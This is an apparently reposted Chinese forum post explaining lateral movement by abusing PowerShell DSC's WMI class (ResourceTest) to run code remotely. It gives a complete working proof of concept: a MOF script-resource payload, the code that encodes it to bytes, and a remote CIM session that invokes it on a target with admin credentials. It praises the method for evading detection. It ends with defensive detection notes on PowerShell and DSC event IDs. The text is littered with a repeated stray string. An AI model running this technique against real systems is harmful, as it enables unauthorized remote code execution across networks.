如何通过PowerShell DSC进行横向渗透

横向渗透技术简介腾讯文化PowerShell期望状态配置(DSC)允许需要执行的资源直接使用WMI,在DSC WMI类的帮助下,我们可以通过滥用内置脚本资源来实现PowerShell代码的远程执行。腾讯文化这样的横向渗透技术有如下几点好处:腾讯文化1.PowerShell将在WMI服务-wmiprvse.exe环境下执行,从躲避检测的角度来说这是一个优势。腾讯文化2.Payload的每一个组件都跟WMI有关系。腾讯文化3.无需配置DSC服务。腾讯文化横向渗透技术要求腾讯文化1.ResourceTest方法必须在MSFT_DSCLocalConfigurationManager这个WMI类中,该类需位于root/Microsoft/Windows/DesiredStateConfiguration命名空间中。注意:攻击者还可以选择调用ResourceGet或ResourceSet方法。PowerShell DSC是在PowerShell v4中引入的,所以这项技术并不适用于全部主机。腾讯文化2.默认情况下,如果你要远程调用WMI方法,你需要拥有管理员凭证。WMI的安全是通过DCOM或WSMan安全设置来实现的,在建立远程连接时,WMI是通过目标命名空间的安全描述符实现的(root/Microsoft/Windows/DesiredStateConfiguration)。腾讯文化攻击PoC腾讯文化第一步就是准备Payload如何执行。你需要在目标主机上执行的PowerShell代码需要是MOF格式的,下面给出的是一份Payload样本:腾讯文化$MOFContents= @'腾讯文化instance of MSFT_ScriptResource as $MSFT_ScriptResource1ref腾讯文化{腾讯文化       ResourceID ="[Script]ScriptExample";腾讯文化       GetScript = "\"$(Get-Date): Iam being GET\" | Out-FileC:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";腾讯文化      TestScript = "\"$(Get-Date): Iam being TESTED\" | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append;return $True";腾讯文化       SetScript = "\"$(Get-Date): Iam being SET\"   | Out-FileC:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";腾讯文化       SourceInfo = "::3::5::Script";腾讯文化       ModuleName = "PsDesiredStateConfiguration";腾讯文化       ModuleVersion = "1.0";腾讯文化       ConfigurationName ="ScriptTest";腾讯文化};腾讯文化instance of OMI_ConfigurationDocument腾讯文化{腾讯文化       Version="2.0.0";腾讯文化       MinimumCompatibleVersion ="1.0.0";腾讯文化       CompatibleVersionAdditionalProperties={"Omi_BaseResource:ConfigurationName"};腾讯文化       Author="TestUser";腾讯文化       GenerationDate="02/26/201807:09:21";腾讯文化       GenerationHost="TestHost";腾讯文化       Name="ScriptTest";腾讯文化};腾讯文化'@腾讯文化这里,唯一需要修改的就是PowerShell Payload。在我们的样例中,我们将调用ResourceTest方法,该方法会返回上面的“TestScript”属性。需要注意的是,特殊字符需要转义处理。腾讯文化下一步就是把MOF转换成二进制形式,这种数据形式也是ResourceTest方法要求的:腾讯文化#Change this to false if you want to test the payload locally腾讯文化$ExecuteRemotely= $True腾讯文化$NormalizedMOFContents= [Text.Encoding]::UTF8.GetString([Text.Encoding]::ASCII.GetBytes($MOFContents))腾讯文化$NormalizedMOFBytes= [Text.Encoding]::UTF8.GetBytes($NormalizedMOFContents)腾讯文化$TotalSize= [BitConverter]::GetBytes($NormalizedMOFContents.Length + 4)腾讯文化if($ExecuteRemotely) {腾讯文化       # Prepend the length of the payload腾讯文化       [Byte[]] $MOFBytes = $TotalSize +$NormalizedMOFBytes腾讯文化}else {腾讯文化       # If executing locally, you do notprepend the payload length腾讯文化       [Byte[]] $MOFBytes = $NormalizedMOFBytes腾讯文化}腾讯文化在上述样例中,如果你想在本地测试你的Payload,请不要在Byte数组中添加Payload长度。Payload正确编码之后,剩下的就是在目标主机上执行Payload了。腾讯文化#Specify the credentials of your target腾讯文化$Credential= Get-Credential -Credential TempUser腾讯文化$ComputerName= 'TargetHost'腾讯文化#Establish a remote WMI session with the target system腾讯文化$RemoteCIMSession= New-CimSession -ComputerName $ComputerName -Credential $Credential腾讯文化$LCMClass= Get-CimClass -Namespace root/Microsoft/Windows/DesiredStateConfiguration-ClassName MSFT_DSCLocalConfigurationManager -CimSession $RemoteCIMSession腾讯文化if($LCMClass -and $LCMClass.CimClassMethods['ResourceTest']) {腾讯文化       # You may now proceed with lateralmovement腾讯文化       $MethodArgs = @{腾讯文化           ModuleName          ='PSDesiredStateConfiguration'腾讯文化           ResourceType   = 'MSFT_ScriptResource'腾讯文化           resourceProperty= $MOFBytes腾讯文化       }腾讯文化       $Arguments = @{腾讯文化           Namespace  ='root/Microsoft/Windows/DesiredStateConfiguration'  ClassName  = 'MSFT_DSCLocalConfigurationManager'腾讯文化           MethodName= 'ResourceTest'腾讯文化           Arguments  = $MethodArgs腾讯文化           CimSession= $RemoteCIMSession腾讯文化       }腾讯文化       # Invoke the DSC script resource Testmethod腾讯文化       # Successful execution will be indicatedby "InDesiredState" returning True and ReturnValue returning 0.腾讯文化       Invoke-CimMethod @Arguments腾讯文化}else {腾讯文化       Write-Warning 'The DSC lateral movementmethod is not available on the remote system.'腾讯文化}腾讯文化在上面的例子中,大家请注意,我首先验证了远程类和方法的优先级。在使用WMI技术时,我们建议大家首先验证远程类和方法的优先级。腾讯文化接下来,代码会将Payload下载到目标主机的磁盘中。如果你想要使用WMI来远程获取文件内容,你可以配合使用【这项技术】。除此之外,我这里还使用了CIM cmdlet,这个功能是在PowerShell v3中引入的,如果你需要适用v2版本的话,你还可以使用旧版本的WMI cmdlet。腾讯文化终端检测&保护腾讯文化幸运的是,我们可以通过检查事件日志来发现这种攻击活动,并进行及时检测。腾讯文化Microsoft-Windows-PowerShell/Operational事件日志腾讯文化EventID: 53504腾讯文化“PowerShell Named Pipe IPC”事件表明PowerShell AppDomain已启用。当DSC执行脚本资源时,这个事件会自动捕捉“DscPsPluginWkr_AppDomain”。而AppDomain对于一次DSC执行来说是唯一的,下面是一个事件样例:腾讯文化Windows PowerShell has started an IPC listening thread on process: 6480 in AppDomain:DscPsPluginWkr_AppDomain.腾讯文化“Windows PowerShell”事件日志腾讯文化EventID: 400腾讯文化在正常的PowerShell日志中,事件ID 400表明一个新的PowerShell主机进程被创建。当DSC脚本资源执行时,它会生成一个唯一的事件日志条目,并对其进行签名。下面是一个样例(引擎状态从NONE转换成了Available):腾讯文化Details:腾讯文化 NewEngineState=Available腾讯文化 PreviousEngineState=None腾讯文化 SequenceNumber=13腾讯文化 HostName=Default Host腾讯文化 HostVersion=5.1.17134.81腾讯文化 HostId=19cfc50e-8894-4cd5-b0a9-09edd7785b7d腾讯文化 HostApplication=C:\Windows\system32\wbem\wmiprvse.exe腾讯文化 EngineVersion=5.1.17134.81腾讯文化 RunspaceId=12ebba81-9b73-4b1e-975d-e2c16da30906腾讯文化 PipelineId=腾讯文化 CommandName=腾讯文化 CommandType=腾讯文化 ScriptName=腾讯文化 CommandPath=腾讯文化 CommandLine=腾讯文化Microsoft-Windows-DSC/Operational事件日志腾讯文化EventID: 4102腾讯文化当一个DSC资源被发送至目标主机之后,系统会响应这个事件。如果目标主机存在于一个计算机域中,那么系统会返回执行这个DSC资源的用户SID以及源主机信息。下面是事件样本信息:腾讯文化Job{893F64B5-ABBF-11E8-B005-D336977413FC} : 腾讯文化OperationInvoke-DscResource started by user sidS-1-5-21-3160353621-618008412-2361186285-1001 from computer NULL.腾讯文化 腾讯文化

请先 登录 后评论

1 个回答

超越动画吧

横向渗透技术要求
1.ResourceTest方法必须在MSFT_DSCLocalConfigurationManager这个WMI类中,该类需位于root/Microsoft/Windows/DesiredStateConfiguration命名空间中。注意:攻击者还可以选择调用ResourceGet或ResourceSet方法。PowerShell DSC是在PowerShell v4中引入的,所以这项技术并不适用于全部主机。

2.默认情况下,如果你要远程调用WMI方法,你需要拥有管理员凭证。WMI的安全是通过DCOM或WSMan安全设置来实现的,在建立远程连接时,WMI是通过目标命名空间的安全描述符实现的(root/Microsoft/Windows/DesiredStateConfiguration)。

请先 登录 后评论
  • 1 关注
  • 0 收藏,981 浏览
  • 李逍遥 提出于 2021-05-01 09:32

相似问题

相似文章